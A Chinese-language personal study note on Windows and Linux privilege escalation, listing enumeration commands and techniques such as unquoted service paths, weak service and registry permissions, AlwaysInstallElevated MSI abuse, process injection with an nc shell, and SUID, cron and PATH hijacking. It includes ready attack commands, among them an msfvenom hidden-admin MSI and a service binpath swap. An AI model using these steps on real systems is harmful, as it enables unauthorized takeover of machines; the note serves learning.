放在开头
本人水平很菜(没有谦虚),此文仅为个人备忘录,算是自己对学过知识的一个总结以备复习。本人qq:925047779,关于本文可能出现的的问题请联系我,出现错误必及时修改,也欢迎一起探讨。
权限提升
由于现在的操作系统多为多用户操作系统,存在用户间权限控制,比如通过web漏洞拿到的是Web进程的权限,往往Web服务都是以一个权限很低的账号启动的,因此通过Webshell进行操作可能会受限,这时便需要提权。
Windows提权
溢出提权
通常是通过windows系统漏洞或系统中软件的漏洞来获取os的system权限(强调是超级管理员,与Administrator不同)。溢出提权有远程溢出和本地溢出两种,远程溢出需要与远程服务器建立连接,然后根据漏洞使用响应的溢出程序提权;本地提权向服务器上传本地溢出程序,然后在服务器执行进而提权。
一般步骤
- 信息收集,如查看当前权限,查看版本和补丁情况。
- 搜集可利用的漏洞。
- 根据漏洞查找EXP.。
- 使用EXP提权。
信息收集命令
- 低权限shell常用命令
描述 | 命令 |
---|---|
常看当前用户权限 | whoami |
查看目标操作系统、版本及补丁 | systeminfo |
查看主机名 | hostname |
查看当前用户 | echo %username% |
查看所有用户 | net user |
查看用户详细信息 | net user 用户名 |
查看环境变量 | set |
查看所有网络接口 | ipconfig /all |
查看路由表 | route print |
查看所有接口的ARP缓存 | arp -A |
查看活动的网络连接、端口、PID | netstat -ano |
查看防火墙状态 | netsh advfirewall firewall |
查看防火墙配置 | netsh advfirewall config |
查看计划任务详情 | schtasks /query /fo /LIST /v |
查看系统进程提供的服务 | tasklist /svc |
查看系统启动的服务 | net start |
查看系统驱动程序 | driverquery |
查看目录和文件权限 | icacls “C:\Program Files” |
查看服务详细配置 | sc qc 服务名 |
关闭服务 | sc stop 服务名 |
打开服务 | sc start 服务名 |
修改服务binpath | sc config “服务名” binpath=“C:\exp.exe” |
生成添加管理的MSI安装文件 | msfvenom -p windows/adduser USER=a$ PASS=123456Pp. -f msi -o /exp.msi |
- 使用WMIC枚举目标信息
描述 | 命令 |
---|---|
查看计算机补丁安装情况 | wmic qfe list |
查看系统位数 | wmic cpu get addresswidth |
列出进程 | wmic process list brief |
获取进程路径 | wmic process get description,executablepath |
查看启动项 | wmic startup |
查看共享 | wmic share get name,path |
查看软件安装的版本 | wmic product get name,version |
查看是否为虚拟机 | wmic bios list full |
查看环境变量 | wmic ENVIRONMENT where “name=‘path’” get UserName,VariableValue |
查看没有加引号的服务 | wmic service get name,displayname,pathname,startmode |
搜搜EXP
溢出提权的例子目前还没找到(说白了还是菜)
错误系统配置提权
Trusted Service Paths漏洞
Windows服务运行时,如果服务路径(存储在Windows注册表项中)和快捷方式路径具有一个或多个空格并且没有用引号括起来,Windows会对每一个空格尝试寻找名字与空格前的名字相匹配的程序执行,这样会很容易受到路径拦截,然后造成Trusted Service Paths漏洞利用。
如:C\Program Files\Common Files\Services.exe没有被引号抱起来,服务启动时依次做如下尝试
C\Program.exe
C\Program Files\Common.exe
C\Program Files\Common Files\Services.exe
所以此时可以通过在相应目录建立文件进行截断,使我们的恶意程序以高权限执行。
PATH环境变量配置错误
平时常用的命令(如:cmd、ipconfig等等),如果环境变量中未使用绝对路径那么会在当前目录寻找对应的执行文件,如果没有则根据PATH中的路径去寻找。而Windows常用命令大多在“%SystemRoot%\system32”(“C:\Windows\System32”)中,所以如果PTAH中的**“%SystemRoot%\system32”之前添加了别的变量,那么当使用Windows常用命令时会先在之前的环境的映射中查找我们输入的命令。
举例:
此主机的PATH中的“%SystemRoot%\system32”**存在“C:\Program Files (x86)\Common Files\Oracle\Java\javapath;”和“D:\workspace\VMware Workstation\bin;”,所以当我们在“C:\Program Files (x86)\Common Files\Oracle\Java\javapath;”中建立“ipconfig.exe”时,我们再在cmd中直接使用ipconfig命令实际上就是调用“C:\Program Files (x86)\Common Files\Oracle\Java\javapath\ipconfig.exe”
不安全的服务权限
accesschk命令
描述 | 命令 | 举例 |
---|---|---|
查看 用户/用户组 对 文件/文件夹 的权限 | accesschk 用户/用户组 文件/文件夹 | accesschk fairy “C:\Program Files” |
列出所有服务的权限 | accesschk -ucqv * | |
查看 用户/用户组 具有写权限的服务 | accesschk 用户/用户组 -cw * | accesschk fairy -cw * |
要查看 用户/用户组 对HKEY_LOACL_MACHINE\SoftWare 目录下注册表的权限 | accesschk -k 用户/用户组 hklm\software | accesschk -k fairy hklm\software |
查看每个人都可以修改的全局对象 | accesschk -wuo everyone\ |
注:accesschk并未windows直接提供,需要下载accesschk.exe或者Windows Sysinternals工具包,为了方便可以将accesssck.exe放在C:\windows\system32中(可直接通过已加载的环境变量使用),也可以自己再添加环境变量。此外,accesschk命令第一次使用时会打开一个弹窗,所以在命令后需要使用 /accepteula来避免弹窗。
原理:Windows服务通常是以System权限运行的,当系统中出现错误配置导致低权限的用户可以对某些服务修改时(如修改服务的启动路径),可以通过修改服务启动文件的路径“binpath”使其指向恶意程序并在服务重启时执行恶意程序。
此处不再赘述,后续再更。
不安全的注册表权限
Windows的服务都存储在注册表项中,若注册表权限配置不当,被攻击者发现低权限用户可以修改的注册表项时,则攻击者可以将“ImagePath”修改成恶意程序的路径,若对应服务重启则可以导致提权。
MSI文件提权
若系统的Windows Installer组件开启了永远以高特权进行安装的配置,那么将导致非特权用户以System权限运行MSI文件,也就是可以先生成恶意的MSI文件,将之上传后再以低权限用户调用“msiexec”命令便可以运行MSI文件。
- 检查Windows Installer组件是否配置了永远以高特权进行安装:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARENPolicies\Microsoft\Windows\Installer /v AlwaysInstallElevated
//查看键值是否为1
- msfvenom生成我们需要的MSI安装文件并上传到服务器对应目录
- “msiexec” 运行MSI文件
计划任务提权
计划任务有两个命令at和schtasks.
- at 命令默认以system权限执行,如果支持at命令可以用“at 12:00 /interactive cmd.exe”打开一个cmd.(问题在于现在的系统大多抛弃了at命令改用schtasks了,可能就是为了安全才这么干的吧。)
- schtasks /create /tn duan /tr cmd.exe /sc once /st 20:00 #创建一个名为duan, 在20:00运行一次cmd.exe
命令是真的记不住,需要用就Bing吧。
启动项/组策略提权
Windows启动项目录下的脚本可以开机自启,组策略启动、关机、登录和注销脚本目录下的脚本在相关事件发生时会运行,利用这一特性向可控制的上述目录传入恶意脚本可以达到提权的目的。
进程注入提权
进程注入提权不必创建新进程隐蔽性高。
- 下载pinjector
- pinjector.exe -l 发现可用的进程
- pinjector -p pid cmd port
- kali下连接:nc -nv ip port
Linux提权
内核漏洞提权
信息搜集
描述 | 命令 |
---|---|
查看系统全部信息 | uname -a |
查看内核版本 | uname -r |
查看内核信息 | cat /proc/version |
查看Centos版本 | cat /etc/*-release |
查看Ubuntu和Debain版本 | cat /etc/issue |
查看RedHat版本 | cat /etc/redhat-release |
查看当前用户 | whoami |
查看当前用户ID | id |
查看环境变量 | env |
显示当前PATH环境变量 | echo $PATH |
将当前目录添加到环境变量 | export PATH=.:$PATH |
列出系统上的所有用户 | cat /etc/passwd |
查看UID为0的用户 | awk -F: ‘($3==0){print $1}’ /etc/passwd |
查找设置了SUID的文件 | find / -user root -perm -4000 -exec ls -ldb {} ; |
查看计划任务 | cat /etc/crontab |
查看文件/文件夹权限 | ls -la 文件/文件夹 |
查找EXP
补充
管理员UID为“0”,系统用户UID为“1~999”,普通用户UID从“1000”开始。
scp /usr/share/exploitdb/exploits/linux/local/文件 目标机用户名@目标机IP:/tmp(此命令可将exp程序发送到目标机的tmp目录下(通常所有用户都对tmp目录有读写权限))
SUID提权
SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限,若是对一些特殊命令设置了SUID,那么将会有被利用于提权的风险,常用的SUID提权命令有nmap、vim、find、bash、more、less、nano和cp等。
- 查找设置了SUID的文件:find / -user root -perm -4000 -exec ls -ldb {} ;
- 寻找是否有可用来进行SUID提权的命令
- 例如:find 1 -exec whoami ; 就可获得root权限(前提是find设置了SUID)
计划任务提权
运维人员通常会使用几哈任务执行脚本来完成一些操作,但是常在河边走哪有不湿鞋,一旦相关文件的权限配置出错,我们就可以进行攻击。比如当计划任务以root执行的脚本可以被任意用户编辑,这就相当于你暂时有了root的权限,我们可以通过修改脚本的内容来干坏事,等脚本下一次计划执行时,我们的目的就达成了。
环境变量劫持提权
在Shell输入命令时,Shell会按PATH环境变量中的路径依次搜索命令,若是存在同名的命令,则执行最先找到的,若是PATH中加入了当前目录,也就是“.”这个符号,则可能会被黑客利用,例如在“/tmp”目录下黑客新建了一个恶意文件“ls”,若root用户在“/tmp”目录下运行“ls”命令时,那么将会运行黑客创建的恶意文件。